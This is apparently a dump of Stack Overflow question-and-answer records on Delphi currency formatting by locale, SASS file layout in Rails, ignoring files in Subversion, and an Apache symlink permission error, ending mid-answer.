Even with the same currency, you may have to display values with a different format (separators for instance), so I would recommend that you associate a LOCALE instead of the currency only with your values. You can use a simple Integer to hold the LCID (locale ID). See the list here: <http://msdn.microsoft.com/en-us/library/0h88fahh.aspx> Then to display the values, use something like: ``` function CurrFormatFromLCID(const AValue: Currency; const LCID: Integer = LOCALE_SYSTEM_DEFAULT): string; var AFormatSettings: TFormatSettings; begin GetLocaleFormatSettings(LCID, AFormatSettings); Result := CurrToStrF(AValue, ffCurrency, AFormatSettings.CurrencyDecimals, AFormatSettings); end; function USCurrFormat(const AValue: Currency): string; begin Result := CurrFormatFromLCID(AValue, 1033); //1033 = US_LCID end; function FrenchCurrFormat(const AValue: Currency): string; begin Result := CurrFormatFromLCID(AValue, 1036); //1036 = French_LCID end; procedure TestIt; var val: Currency; begin val:=1234.56; ShowMessage('US: ' + USCurrFormat(val)); ShowMessage('FR: ' + FrenchCurrFormat(val)); ShowMessage('GB: ' + CurrFormatFromLCID(val, 2057)); // 2057 = GB_LCID ShowMessage('def: ' + CurrFormatFromLCID(val)); end; ```
86,018
<p>If you are using HAML and SASS in your Rails application, then any templates you define in public/stylesheet/*.sass will be compiled into *.css stylesheets. From your code, you use stylesheet_link_tag to pull in the asset by name without having to worry about the extension. </p> <p>Many people dislike storing generated code or compiled code in version control, and it also stands to reason that the public/ directory shouldn't contain elements that you don't send to the browser. </p> <p>What is the best pattern to follow when laying out SASS resources in your Rails project?</p>
[ { "answer_id": 86106, "author": "Pete", "author_id": 13472, "author_profile": "https://Stackoverflow.com/users/13472", "pm_score": 0, "selected": false, "text": "<p>If I can manage it, I like to store all of my styles in SASS templates when I choose HAML/SASS for a project, and I'll remove application.css and scaffold.css. Then I will put SASS in public/stylesheets/sass, and add /public/stylesheets/*.css to .gitignore. </p>\n\n<p>If I have to work with a combination of SASS and CSS based assets, it's a little more complicated. The simplest way of handling this is to have an output subdirectory for generated CSS within the stylesheets directory, then exclude that subdirectory in .gitignore. Then, in your views you have to know which styling type you're using (SASS or CSS) by virtue of having to select the public/stylesheets/foo stylesheet or the public/stylesheets/sass-out/foo stylesheet. </p>\n\n<p>If you have to go the second route, build a helper to abstract away the sass-out subdirectory. </p>\n" }, { "answer_id": 86457, "author": "mislav", "author_id": 11687, "author_profile": "https://Stackoverflow.com/users/11687", "pm_score": 5, "selected": true, "text": "<p>I always version all stylesheets in \"public/stylesheets/sass/*.sass\" and set up an exclude filter for compiled ones:</p>\n\n<pre><code>/public/stylesheets/*.css\n</code></pre>\n" }, { "answer_id": 98772, "author": "Nate", "author_id": 12779, "author_profile": "https://Stackoverflow.com/users/12779", "pm_score": 3, "selected": false, "text": "<p>Honestly, I like having my compiled SASS stylesheets in version control. They're small, only change when your .sass files change, and having them deploy with the rest of your app means the SASS compiler doesn't ever need to fire in production.</p>\n\n<p>The other advantage (albeit a small one) is that if you're not using page caching, your rails process doesn't need to have write access to your <code>public_html</code> directory. So there's one fewer way an exploit of your server can be evil.</p>\n" }, { "answer_id": 106068, "author": "Ryan McGeary", "author_id": 8985, "author_profile": "https://Stackoverflow.com/users/8985", "pm_score": 3, "selected": false, "text": "<p>Somewhat related, but it's a good idea to regenerate your CSS during your capistrano deployments. This callback hook does just that:</p>\n\n<pre><code>after \"deploy:update_code\" do\n rails_env = fetch(:rails_env, \"production\")\n run \"#{release_path}/script/runner -e #{rails_env} 'Sass::Plugin.update_stylesheets'\"\nend\n</code></pre>\n\n<p><strong>Update</strong>: This should no longer be necessary with modern versions of Haml/Sass.</p>\n" }, { "answer_id": 322954, "author": "chriseppstein", "author_id": 41221, "author_profile": "https://Stackoverflow.com/users/41221", "pm_score": 4, "selected": false, "text": "<p>The <a href=\"http://github.com/chriseppstein/compass\" rel=\"nofollow noreferrer\">compass</a> framework recommends putting your sass stylesheets under app/stylesheets and your compiled css in public/stylesheets/compiled.</p>\n\n<p>You can configure this by adding the following code to your environment.rb:</p>\n\n<pre><code>Sass::Plugin.options[:template_location] = {\n \"#{RAILS_ROOT}/app/stylesheets\" =&gt; \"#{RAILS_ROOT}/public/stylesheets/compiled\"\n}\n</code></pre>\n\n<p>If you use the compass framework, it sets up this configuration for you when you install it.</p>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/86018", "https://Stackoverflow.com", "https://Stackoverflow.com/users/13472/" ]
If you are using HAML and SASS in your Rails application, then any templates you define in public/stylesheet/\*.sass will be compiled into \*.css stylesheets. From your code, you use stylesheet\_link\_tag to pull in the asset by name without having to worry about the extension. Many people dislike storing generated code or compiled code in version control, and it also stands to reason that the public/ directory shouldn't contain elements that you don't send to the browser. What is the best pattern to follow when laying out SASS resources in your Rails project?
I always version all stylesheets in "public/stylesheets/sass/\*.sass" and set up an exclude filter for compiled ones: ``` /public/stylesheets/*.css ```
86,049
<p>How do I ignore files in Subversion?</p> <p>Also, how do I find files which are not under version control?</p>
[ { "answer_id": 86052, "author": "andyuk", "author_id": 2108, "author_profile": "https://Stackoverflow.com/users/2108", "pm_score": 11, "selected": true, "text": "<p>(This answer has been updated to match SVN 1.8 and 1.9's behaviour)</p>\n\n<p>You have 2 questions:</p>\n\n<h1>Marking files as ignored:</h1>\n\n<p>By \"ignored file\" I mean the file won't appear in lists even as \"unversioned\": your SVN client will pretend the file doesn't exist at all in the filesystem.</p>\n\n<p>Ignored files are specified by a \"file pattern\". The syntax and format of file patterns is explained in SVN's online documentation: <a href=\"http://svnbook.red-bean.com/nightly/en/svn.advanced.props.special.ignore.html\" rel=\"noreferrer\">http://svnbook.red-bean.com/nightly/en/svn.advanced.props.special.ignore.html</a> \"File Patterns in Subversion\".</p>\n\n<p>Subversion, as of version 1.8 (June 2013) and later, supports 3 different ways of specifying file patterns. Here's a summary with examples:</p>\n\n<h2>1 - Runtime Configuration Area - <code>global-ignores</code> option:</h2>\n\n<ul>\n<li>This is a <strong>client-side only</strong> setting, so your <code>global-ignores</code> list won't be shared by other users, and it applies to all repos you checkout onto your computer.</li>\n<li>This setting is defined in your Runtime Configuration Area file:\n\n<ul>\n<li>Windows (file-based) - <code>C:\\Users\\{you}\\AppData\\Roaming\\Subversion\\config</code></li>\n<li>Windows (registry-based) - <code>Software\\Tigris.org\\Subversion\\Config\\Miscellany\\global-ignores</code> in both <code>HKLM</code> and <code>HKCU</code>.</li>\n<li>Linux/Unix - <code>~/.subversion/config</code></li>\n</ul></li>\n</ul>\n\n<h2>2 - The <code>svn:ignore</code> property, which is set on directories (not files):</h2>\n\n<ul>\n<li>This is stored within the repo, so other users will have the same ignore files. Similar to how <code>.gitignore</code> works.</li>\n<li><code>svn:ignore</code> is applied to directories and is non-recursive or inherited. Any file or <em>immediate</em> subdirectory of the parent directory that matches the File Pattern will be excluded.</li>\n<li><p>While SVN 1.8 adds the concept of \"inherited properties\", the <code>svn:ignore</code> property itself is ignored in non-immediate descendant directories:</p>\n\n<pre><code>cd ~/myRepoRoot # Open an existing repo.\necho \"foo\" &gt; \"ignoreThis.txt\" # Create a file called \"ignoreThis.txt\".\n\nsvn status # Check to see if the file is ignored or not.\n&gt; ? ./ignoreThis.txt\n&gt; 1 unversioned file # ...it is NOT currently ignored.\n\nsvn propset svn:ignore \"ignoreThis.txt\" . # Apply the svn:ignore property to the \"myRepoRoot\" directory.\nsvn status\n&gt; 0 unversioned files # ...but now the file is ignored!\n\ncd subdirectory # now open a subdirectory.\necho \"foo\" &gt; \"ignoreThis.txt\" # create another file named \"ignoreThis.txt\".\n\nsvn status\n&gt; ? ./subdirectory/ignoreThis.txt # ...and is is NOT ignored!\n&gt; 1 unversioned file\n</code></pre>\n\n<p>(So the file <code>./subdirectory/ignoreThis</code> is not ignored, even though \"<code>ignoreThis.txt</code>\" is applied on the <code>.</code> repo root).</p></li>\n<li><p>Therefore, to apply an ignore list recursively you must use <code>svn propset svn:ignore &lt;filePattern&gt; . --recursive</code>.</p>\n\n<ul>\n<li>This will create a copy of the property on every subdirectory.</li>\n<li>If the <code>&lt;filePattern&gt;</code> value is different in a child directory then the child's value completely overrides the parents, so there is no \"additive\" effect.</li>\n<li>So if you change the <code>&lt;filePattern&gt;</code> on the root <code>.</code>, then you must change it with <code>--recursive</code> to overwrite it on the child and descendant directories.</li>\n</ul></li>\n<li><p>I note that the command-line syntax is counter-intuitive.</p>\n\n<ul>\n<li>I started-off assuming that you would ignore a file in SVN by typing something like <code>svn ignore pathToFileToIgnore.txt</code> however this is not how SVN's ignore feature works.</li>\n</ul></li>\n</ul>\n\n<h2>3- The <code>svn:global-ignores</code> property. Requires SVN 1.8 (June 2013):</h2>\n\n<ul>\n<li>This is similar to <code>svn:ignore</code>, except it makes use of SVN 1.8's \"inherited properties\" feature.</li>\n<li>Compare to <code>svn:ignore</code>, the file pattern is automatically applied in every descendant directory (not just immediate children).\n\n<ul>\n<li>This means that is unnecessary to set <code>svn:global-ignores</code> with the <code>--recursive</code> flag, as inherited ignore file patterns are automatically applied as they're inherited.</li>\n</ul></li>\n<li><p>Running the same set of commands as in the previous example, but using <code>svn:global-ignores</code> instead:</p>\n\n<pre><code>cd ~/myRepoRoot # Open an existing repo\necho \"foo\" &gt; \"ignoreThis.txt\" # Create a file called \"ignoreThis.txt\"\nsvn status # Check to see if the file is ignored or not\n&gt; ? ./ignoreThis.txt\n&gt; 1 unversioned file # ...it is NOT currently ignored\n\nsvn propset svn:global-ignores \"ignoreThis.txt\" .\nsvn status\n&gt; 0 unversioned files # ...but now the file is ignored!\n\ncd subdirectory # now open a subdirectory\necho \"foo\" &gt; \"ignoreThis.txt\" # create another file named \"ignoreThis.txt\"\nsvn status\n&gt; 0 unversioned files # the file is ignored here too!\n</code></pre></li>\n</ul>\n\n<h2>For TortoiseSVN users:</h2>\n\n<p>This whole arrangement was confusing for me, because TortoiseSVN's terminology (as used in their Windows Explorer menu system) was initially misleading to me - I was unsure what the significance of the Ignore menu's \"Add recursively\", \"Add *\" and \"Add \" options. I hope this post explains how the Ignore feature ties-in to the SVN Properties feature. That said, I suggest using the command-line to set ignored files so you get a feel for how it works instead of using the GUI, and only using the GUI to manipulate properties after you're comfortable with the command-line.</p>\n\n<h1>Listing files that are ignored:</h1>\n\n<p>The command <code>svn status</code> will hide ignored files (that is, files that match an RGA <code>global-ignores</code> pattern, or match an immediate parent directory's <code>svn:ignore</code> pattern or match any ancesor directory's <code>svn:global-ignores</code> pattern.</p>\n\n<p>Use the <code>--no-ignore</code> option to see those files listed. Ignored files have a status of <code>I</code>, then pipe the output to <code>grep</code> to only show lines starting with \"I\".</p>\n\n<p>The command is:</p>\n\n<pre><code>svn status --no-ignore | grep \"^I\"\n</code></pre>\n\n<p>For example:</p>\n\n<pre><code>svn status\n&gt; ? foo # An unversioned file\n&gt; M modifiedFile.txt # A versioned file that has been modified\n\nsvn status --no-ignore\n&gt; ? foo # An unversioned file\n&gt; I ignoreThis.txt # A file matching an svn:ignore pattern\n&gt; M modifiedFile.txt # A versioned file that has been modified\n\nsvn status --no-ignore | grep \"^I\"\n&gt; I ignoreThis.txt # A file matching an svn:ignore pattern\n</code></pre>\n\n<p>ta-da!</p>\n" }, { "answer_id": 86067, "author": "DGM", "author_id": 14253, "author_profile": "https://Stackoverflow.com/users/14253", "pm_score": 2, "selected": false, "text": "<p><code>svn status</code> will tell you which files are not in SVN, as well as what's changed.</p>\n\n<p>Look at the <a href=\"http://svnbook.red-bean.com/en/1.1/ch07s02.html\" rel=\"nofollow noreferrer\">SVN properties</a> for the ignore property.</p>\n\n<p>For all things SVN, the <a href=\"http://svnbook.red-bean.com/en/1.1/index.html\" rel=\"nofollow noreferrer\">Red Book</a> is required reading.</p>\n" }, { "answer_id": 86073, "author": "petr k.", "author_id": 15497, "author_profile": "https://Stackoverflow.com/users/15497", "pm_score": 2, "selected": false, "text": "<p>You can also set a global ignore pattern in SVN's configuration file.</p>\n" }, { "answer_id": 86088, "author": "Andreas Holstenson", "author_id": 16351, "author_profile": "https://Stackoverflow.com/users/16351", "pm_score": 2, "selected": false, "text": "<p>Use the command <strong>svn status</strong> on your working copy to show the status of files, files that are not yet under version control (and not ignored) will have a question mark next to them.</p>\n\n<p>As for ignoring files you need to edit the svn:ignore property, read the chapter Ignoring Unversioned Items in the svnbook at <a href=\"http://svnbook.red-bean.com/en/1.5/svn.advanced.props.special.ignore.html\" rel=\"nofollow noreferrer\">http://svnbook.red-bean.com/en/1.5/svn.advanced.props.special.ignore.html</a>. The book also describes more about using svn status.</p>\n" }, { "answer_id": 86208, "author": "artur02", "author_id": 13937, "author_profile": "https://Stackoverflow.com/users/13937", "pm_score": 6, "selected": false, "text": "<p>If you are using <a href=\"http://tortoisesvn.net/\" rel=\"noreferrer\">TortoiseSVN</a>, right-click on a file and then select <strong>TortoiseSVN / Add to ignore list</strong>. This will add the file/wildcard to the <code>svn:ignore</code> property.</p>\n\n<p><code>svn:ignore</code> will be checked when you are checking in files, and matching files will be ignored. I have the following ignore list for a Visual Studio .NET project:</p>\n\n<pre><code>bin obj\n*.exe\n*.dll\n_ReSharper\n*.pdb\n*.suo\n</code></pre>\n\n<p>You can find this list in the context menu at <strong>TortoiseSVN / Properties</strong>.</p>\n" }, { "answer_id": 5155424, "author": "Kenneth", "author_id": 639428, "author_profile": "https://Stackoverflow.com/users/639428", "pm_score": 3, "selected": false, "text": "<p>When using propedit make sure not have any trailing spaces as that will cause the file to be excluded from the ignore list.</p>\n\n<p>These are inserted automatically if you've use tab-autocomplete on linux to create the file to begin with:</p>\n\n<pre><code>svn propset svn:ignore 'file1\nfile2' .\n</code></pre>\n" }, { "answer_id": 15147278, "author": "msangel", "author_id": 449553, "author_profile": "https://Stackoverflow.com/users/449553", "pm_score": 3, "selected": false, "text": "<p>Also, if you use Tortoise SVN you can do this:</p>\n\n<ol>\n<li>In context menu select \"TortoiseSVN\", then \"Properties\"</li>\n<li>In appeared window click \"New\", then \"Advanced\"</li>\n<li>In appeared window opposite to \"Property name\" select or type \"svn:ignore\", opposite to \"Property value\" type desired file name or folder name or file mask (in my case it was \"*/target\"), click \"Apply property recursively\"</li>\n<li>Ok. Ok.</li>\n<li>Commit</li>\n</ol>\n" }, { "answer_id": 19593719, "author": "ulitosCoder", "author_id": 2321308, "author_profile": "https://Stackoverflow.com/users/2321308", "pm_score": 7, "selected": false, "text": "<p>Use the following command to create a list not under version control files.</p>\n\n<pre><code>svn status | grep \"^\\?\" | awk \"{print \\$2}\" &gt; ignoring.txt\n</code></pre>\n\n<p>Then edit the file to <strong>leave just the files you want actually to ignore</strong>. Then use this one to ignore the files listed in the file:</p>\n\n<pre><code>svn propset svn:ignore -F ignoring.txt .\n</code></pre>\n\n<p>Note the dot at the end of the line. It tells SVN that the property is being set on the current directory.</p>\n\n<p>Delete the file:</p>\n\n<pre><code>rm ignoring.txt\n</code></pre>\n\n<p>Finally commit,</p>\n\n<pre><code>svn ci --message \"ignoring some files\"\n</code></pre>\n\n<p>You can then check which files are ignored via:</p>\n\n<pre><code>svn proplist -v\n</code></pre>\n" }, { "answer_id": 22645123, "author": "d.danailov", "author_id": 609707, "author_profile": "https://Stackoverflow.com/users/609707", "pm_score": 5, "selected": false, "text": "<p>I found the article <em><a href=\"http://sethholloway.com/svnignore-example-for-java/\">.svnignore Example for Java</a></em>.</p>\n\n<p>Example: .svnignore for Ruby on Rails,</p>\n\n<pre><code>/log\n\n/public/*.JPEG\n/public/*.jpeg\n/public/*.png\n/public/*.gif\n\n*.*~\n</code></pre>\n\n<p>And after that:</p>\n\n<pre><code>svn propset svn:ignore -F .svnignore .\n</code></pre>\n\n<p>Examples for .gitignore. You can use for your .svnignore</p>\n\n<p><a href=\"https://github.com/github/gitignore\">https://github.com/github/gitignore</a></p>\n" }, { "answer_id": 25502141, "author": "Adrian Enriquez", "author_id": 3126509, "author_profile": "https://Stackoverflow.com/users/3126509", "pm_score": 6, "selected": false, "text": "<h1>.gitignore like approach</h1>\n<p>You can ignore a file or directory like .gitignore. Just create a text file of list of directories/files you want to ignore and run the code below:</p>\n<pre><code>svn propset svn:ignore -F ignorelist.txt .\n</code></pre>\n<p>OR if you don't want to use a text file, you can do it like this:</p>\n<pre><code>svn propset svn:ignore &quot;first\n second\n third&quot; .\n</code></pre>\n<p><a href=\"http://kthoms.wordpress.com/2011/04/21/set-svnignore-for-multiple-files-from-command-line/\" rel=\"noreferrer\">Source: Karsten's Blog - Set svn:ignore for multiple files from command line</a></p>\n" }, { "answer_id": 28968259, "author": "Al Conrad", "author_id": 3457624, "author_profile": "https://Stackoverflow.com/users/3457624", "pm_score": 2, "selected": false, "text": "<p><a href=\"http://www.metaltoad.com/blog/adding-directory-subversion-and-ignoring-directory-contents\" rel=\"nofollow\">Adding a directory to subversion, and ignoring the directory contents</a></p>\n\n<pre><code>svn propset svn:ignore '\\*.*' .\n</code></pre>\n\n<p>or</p>\n\n<pre><code>svn propset svn:ignore '*' .\n</code></pre>\n" }, { "answer_id": 30528955, "author": "bkbilly", "author_id": 4377632, "author_profile": "https://Stackoverflow.com/users/4377632", "pm_score": 3, "selected": false, "text": "<p>Another solution is:</p>\n\n<pre><code>svn st | awk '/^?/{print $2}' &gt; svnignore.txt &amp;&amp; svn propget svn:ignore &gt;&gt; svnignore.txt &amp;&amp; svn propset svn:ignore -F svnignore.txt . &amp;&amp; rm svnignore.txt\n</code></pre>\n\n<p>or line by line</p>\n\n<pre><code>svn st | awk '/^?/{print $2}' &gt; svnignore.txt \nsvn propget svn:ignore &gt;&gt; svnignore.txt \nsvn propset svn:ignore -F svnignore.txt . \nrm svnignore.txt\n</code></pre>\n\n<p>What it does:</p>\n\n<ol>\n<li>Gets the status files from the svn</li>\n<li>Saves all files with <strong>?</strong> to the file \"svnignore.txt\"</li>\n<li>Gets the already ignored files and appends them to the file \"svnignore.txt\"</li>\n<li>Tells the svn to ignore the files in \"svnignore.txt\"</li>\n<li>Removes the file</li>\n</ol>\n" }, { "answer_id": 40900988, "author": "LivingDust", "author_id": 2263095, "author_profile": "https://Stackoverflow.com/users/2263095", "pm_score": 3, "selected": false, "text": "<p>A more readable version of <a href=\"https://stackoverflow.com/a/30528955/7724\">bkbilly's answer:</a></p>\n\n<pre><code>svn st | awk '/^?/{print $2}' &gt; svnignore.txt\nsvn propget svn:ignore &gt;&gt; svnignore.txt\nsvn propset svn:ignore -F svnignore.txt .\nrm svnignore.txt\n</code></pre>\n\n<p>What it does:</p>\n\n<ol>\n<li>Gets the status files from the svn</li>\n<li>Saves all files with <strong>?</strong> to the file \"svnignore.txt\"</li>\n<li>Gets the already ignored files and appends them to the file \"svnignore.txt\"</li>\n<li>Tells the svn to ignore the files in \"svnignore.txt\"</li>\n<li>Removes the file</li>\n</ol>\n" }, { "answer_id": 41587480, "author": "范陆离", "author_id": 5820426, "author_profile": "https://Stackoverflow.com/users/5820426", "pm_score": 3, "selected": false, "text": "<ol>\n<li>cd ~/.subversion</li>\n<li>open config</li>\n<li>find the line like 'global-ignores'</li>\n<li>set ignore file type like this: global-ignores = *.o *.lo *.la *.al .libs *.so <em>.so.[0-9]</em> *.pyc *.pyo\n88 *.rej <em>~ #</em># .#* .*.swp .DS_Store node_modules output</li>\n</ol>\n" }, { "answer_id": 45337863, "author": "Yorick", "author_id": 3954377, "author_profile": "https://Stackoverflow.com/users/3954377", "pm_score": 5, "selected": false, "text": "<p>As nobody seems to have mentioned it...</p>\n\n<pre><code>svn propedit svn:ignore .\n</code></pre>\n\n<p>Then edit the contents of the file to specify the patterns to ignore, exit the editor and you're all done.</p>\n" }, { "answer_id": 48126740, "author": "Slack", "author_id": 9155608, "author_profile": "https://Stackoverflow.com/users/9155608", "pm_score": 2, "selected": false, "text": "<p>SVN <code>ignore</code> is easy to manage in TortoiseSVN. Open TortoiseSVN and right-click on file menu then select Add to ignore list.</p>\n\n<p>This will add the files in the <code>svn:ignore</code> property.\nWhen we checking in the files then those file which is matched with <code>svn:ignore</code> that will be ignored and will not commit.</p>\n\n<p>In Visual Studio project we have added following files to ignore:</p>\n\n<pre><code>bin obj\n*.exe\n*.dll\n*.pdb\n*.suo\n</code></pre>\n\n<p>We are managing source code on SVN of <a href=\"http://www.comparetrap.com/\" rel=\"nofollow noreferrer\">Comparetrap</a> using this method successfully</p>\n" }, { "answer_id": 50713152, "author": "G. Googol", "author_id": 9818421, "author_profile": "https://Stackoverflow.com/users/9818421", "pm_score": 0, "selected": false, "text": "<ol>\n<li>open you use JetBrains Product(i.e. Pycharm)</li>\n<li>then click the 'commit' button on the top toolbar or use shortcut 'ctrl + k'\n<a href=\"https://i.stack.imgur.com/lwwNN.png\" rel=\"nofollow noreferrer\">screenshot_toolbar</a></li>\n<li>on the commit interface, move your unwanted files to another change list as follows.\n<a href=\"https://i.stack.imgur.com/bWqNP.png\" rel=\"nofollow noreferrer\">screenshot_commit_change</a></li>\n<li>next time you can only commit default change list.</li>\n</ol>\n" }, { "answer_id": 58217374, "author": "jumping_monkey", "author_id": 4982691, "author_profile": "https://Stackoverflow.com/users/4982691", "pm_score": 3, "selected": false, "text": "<p>What <strong>worked</strong> for me (<em>I am using TortoiseSVN v1.13.1</em>):</p>\n<h1>How do I ignore files in Subversion?</h1>\n<p>1.In File Explorer, right-click on SVN <em>project folder-name</em><br>\n2.Click on &quot;SVN Commit...&quot;<br>\n3.A &quot;commit&quot; window will appear<br>\n4.<strong>Right-click</strong> on the folder/file that you want to ignore<br>\n5.Click on &quot;Add to ignore list&quot;<br>\n6.Select the folder/file name you want to ignore<br></p>\n<ul>\n<li>There's a few choices(4 for me), if you choose only the folder/file name, it will be added to svn:ignore list</li>\n<li>if you choose the folder/file name, with (recursively), it will be added to svn:global-ignores. This is what i normally choose, as this change is inherited automatically by all sub-directories.\n<a href=\"https://i.stack.imgur.com/oCUtu.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/oCUtu.png\" alt=\"enter image description here\" /></a><br><br></li>\n</ul>\n<p>7.<strong>Commit</strong> the &quot;property change&quot; to SVN<br><br></p>\n<h1>Also, how do I find files which are not under version control?<br></h1>\n<p>After Step 3 above, click on &quot;Show unversioned files&quot; as follows:<br>\n<a href=\"https://i.stack.imgur.com/mizOd.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/mizOd.png\" alt=\"enter image description here\" /></a></p>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/86049", "https://Stackoverflow.com", "https://Stackoverflow.com/users/2108/" ]
How do I ignore files in Subversion? Also, how do I find files which are not under version control?
(This answer has been updated to match SVN 1.8 and 1.9's behaviour) You have 2 questions: Marking files as ignored: ========================= By "ignored file" I mean the file won't appear in lists even as "unversioned": your SVN client will pretend the file doesn't exist at all in the filesystem. Ignored files are specified by a "file pattern". The syntax and format of file patterns is explained in SVN's online documentation: <http://svnbook.red-bean.com/nightly/en/svn.advanced.props.special.ignore.html> "File Patterns in Subversion". Subversion, as of version 1.8 (June 2013) and later, supports 3 different ways of specifying file patterns. Here's a summary with examples: 1 - Runtime Configuration Area - `global-ignores` option: --------------------------------------------------------- * This is a **client-side only** setting, so your `global-ignores` list won't be shared by other users, and it applies to all repos you checkout onto your computer. * This setting is defined in your Runtime Configuration Area file: + Windows (file-based) - `C:\Users\{you}\AppData\Roaming\Subversion\config` + Windows (registry-based) - `Software\Tigris.org\Subversion\Config\Miscellany\global-ignores` in both `HKLM` and `HKCU`. + Linux/Unix - `~/.subversion/config` 2 - The `svn:ignore` property, which is set on directories (not files): ----------------------------------------------------------------------- * This is stored within the repo, so other users will have the same ignore files. Similar to how `.gitignore` works. * `svn:ignore` is applied to directories and is non-recursive or inherited. Any file or *immediate* subdirectory of the parent directory that matches the File Pattern will be excluded. * While SVN 1.8 adds the concept of "inherited properties", the `svn:ignore` property itself is ignored in non-immediate descendant directories: ``` cd ~/myRepoRoot # Open an existing repo. echo "foo" > "ignoreThis.txt" # Create a file called "ignoreThis.txt". svn status # Check to see if the file is ignored or not. > ? ./ignoreThis.txt > 1 unversioned file # ...it is NOT currently ignored. svn propset svn:ignore "ignoreThis.txt" . # Apply the svn:ignore property to the "myRepoRoot" directory. svn status > 0 unversioned files # ...but now the file is ignored! cd subdirectory # now open a subdirectory. echo "foo" > "ignoreThis.txt" # create another file named "ignoreThis.txt". svn status > ? ./subdirectory/ignoreThis.txt # ...and is is NOT ignored! > 1 unversioned file ``` (So the file `./subdirectory/ignoreThis` is not ignored, even though "`ignoreThis.txt`" is applied on the `.` repo root). * Therefore, to apply an ignore list recursively you must use `svn propset svn:ignore <filePattern> . --recursive`. + This will create a copy of the property on every subdirectory. + If the `<filePattern>` value is different in a child directory then the child's value completely overrides the parents, so there is no "additive" effect. + So if you change the `<filePattern>` on the root `.`, then you must change it with `--recursive` to overwrite it on the child and descendant directories. * I note that the command-line syntax is counter-intuitive. + I started-off assuming that you would ignore a file in SVN by typing something like `svn ignore pathToFileToIgnore.txt` however this is not how SVN's ignore feature works. 3- The `svn:global-ignores` property. Requires SVN 1.8 (June 2013): ------------------------------------------------------------------- * This is similar to `svn:ignore`, except it makes use of SVN 1.8's "inherited properties" feature. * Compare to `svn:ignore`, the file pattern is automatically applied in every descendant directory (not just immediate children). + This means that is unnecessary to set `svn:global-ignores` with the `--recursive` flag, as inherited ignore file patterns are automatically applied as they're inherited. * Running the same set of commands as in the previous example, but using `svn:global-ignores` instead: ``` cd ~/myRepoRoot # Open an existing repo echo "foo" > "ignoreThis.txt" # Create a file called "ignoreThis.txt" svn status # Check to see if the file is ignored or not > ? ./ignoreThis.txt > 1 unversioned file # ...it is NOT currently ignored svn propset svn:global-ignores "ignoreThis.txt" . svn status > 0 unversioned files # ...but now the file is ignored! cd subdirectory # now open a subdirectory echo "foo" > "ignoreThis.txt" # create another file named "ignoreThis.txt" svn status > 0 unversioned files # the file is ignored here too! ``` For TortoiseSVN users: ---------------------- This whole arrangement was confusing for me, because TortoiseSVN's terminology (as used in their Windows Explorer menu system) was initially misleading to me - I was unsure what the significance of the Ignore menu's "Add recursively", "Add \*" and "Add " options. I hope this post explains how the Ignore feature ties-in to the SVN Properties feature. That said, I suggest using the command-line to set ignored files so you get a feel for how it works instead of using the GUI, and only using the GUI to manipulate properties after you're comfortable with the command-line. Listing files that are ignored: =============================== The command `svn status` will hide ignored files (that is, files that match an RGA `global-ignores` pattern, or match an immediate parent directory's `svn:ignore` pattern or match any ancesor directory's `svn:global-ignores` pattern. Use the `--no-ignore` option to see those files listed. Ignored files have a status of `I`, then pipe the output to `grep` to only show lines starting with "I". The command is: ``` svn status --no-ignore | grep "^I" ``` For example: ``` svn status > ? foo # An unversioned file > M modifiedFile.txt # A versioned file that has been modified svn status --no-ignore > ? foo # An unversioned file > I ignoreThis.txt # A file matching an svn:ignore pattern > M modifiedFile.txt # A versioned file that has been modified svn status --no-ignore | grep "^I" > I ignoreThis.txt # A file matching an svn:ignore pattern ``` ta-da!
86,119
<p>I am trying to have Apache follow a symlink to a raid array server that will contain some large data files. I have tried modifying <code>httpd.conf</code> to have an entry like this</p> <pre><code>&lt;Directory "/Users/imagine/Sites"&gt; Options FollowSymLinks AllowOverride all Order allow,deny Allow from all &lt;/Directory&gt; </code></pre> <p>to have Apache follow any sym link in the Sites folder.</p> <p>I keep getting an error return that seems to indicate I don't have any permissions to access the files. The error is:</p> <blockquote> <p>Forbidden</p> <p>You don't have permission to access /~imagine/imageLibraryTest/videoClips/imageLibraryVideos/imageLibraryVideos/Data13/0002RT-1.mov on this server.</p> </blockquote> <p>The sys link file is the last "imageLibraryVideos" in the line with the Data13 being the sub dir on the server containing the file. </p> <p>The 0002RT-1.mov file hase these permissions:</p> <pre><code>-rwxrwxrwx 1 imagine staff 1138757 Sep 15 17:01 0002RT-1.mov </code></pre> <p>and is in this path:</p> <pre><code>cd /Volumes/ImagineProducts-1/Users/imagine/Sites/imageLibraryVideos/Data13 </code></pre> <p>the link points to:</p> <pre><code>lrwxr-xr-x 1 imagine staff 65 Sep 15 16:40 imageLibraryVideos -&gt; /Volumes/ImagineProducts-1/Users/imagine/Sites/imageLibraryVideos </code></pre>
[ { "answer_id": 86137, "author": "Alex M", "author_id": 9652, "author_profile": "https://Stackoverflow.com/users/9652", "pm_score": 1, "selected": false, "text": "<p>Look in the enclosing directories. They need to be at least mode 711. (<code>drwx--x--x</code>)</p>\n\n<p>Also, look in <code>/var/log/apache2/error_log</code> (Or whatever the concatenation of <code>ServerRoot</code> and <code>ErrorLog</code> is from the <code>httpd.conf</code>) for a possibly more-detailed error message.</p>\n\n<p>Finally, ensure you restart apache after messing with <code>httpd.conf</code>.</p>\n" }, { "answer_id": 86153, "author": "Michael Ridley", "author_id": 4838, "author_profile": "https://Stackoverflow.com/users/4838", "pm_score": 0, "selected": false, "text": "<p>This is a permissions problem where the user that your web server is running under does not have read and/or execute permissions to the necessary directories in the symbolic link path. The quick and easy way to check is to <code>su - web-user</code> (where <code>web-user</code> is the user account that the web server is running under) and then try to cd into the path and view the file. When you come across a directory that you don't have permission to enter, you'll have to change the permissions and/or ownership to make it accessible by the web server user account.</p>\n" }, { "answer_id": 321530, "author": "warren", "author_id": 4418, "author_profile": "https://Stackoverflow.com/users/4418", "pm_score": 1, "selected": false, "text": "<p>You should also look at bind mounts rather than symlinks - that would allow you to remount a given path at a new point. The following is an example:</p>\n\n<pre><code>mount --rbind /path/to/current/location/somewhere/else /new/mount/point\n</code></pre>\n\n<p>You can also edit your <code>fstab</code> to do this at boot:</p>\n\n<pre><code>/path/to/original /new/path bind defaults,bind 0 0\n</code></pre>\n" }, { "answer_id": 7155054, "author": "sebasuy", "author_id": 378400, "author_profile": "https://Stackoverflow.com/users/378400", "pm_score": 2, "selected": false, "text": "<p>I had the same problem last week and the solution was pretty simple for me.</p>\n\n<p>Run:</p>\n\n<pre><code>sudo -i -u 